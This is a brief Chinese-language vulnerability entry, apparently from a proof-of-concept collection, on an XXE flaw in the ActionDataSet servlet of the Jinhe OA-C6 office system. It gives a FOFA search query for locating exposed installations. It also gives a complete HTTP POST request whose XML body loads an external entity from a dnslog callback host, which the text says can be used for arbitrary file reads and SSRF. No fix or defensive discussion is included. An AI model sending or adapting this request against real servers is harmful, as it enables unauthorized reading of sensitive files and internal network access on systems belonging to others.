金和OA-C6系统接口ActionDataSet存在XXE漏洞

金和OA-C6系统接口ActionDataSet存在XXE漏洞，攻击者可利用xxe漏洞获取服务器敏感数据，可读取任意文件以及ssrf攻击，存在一定的安全隐患。

fofa

app="金和网络-金和OA"

poc

POST /jc6/servlet/ActionDataSet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://323232323.xxxx.dnslog.cn"> %remote;]>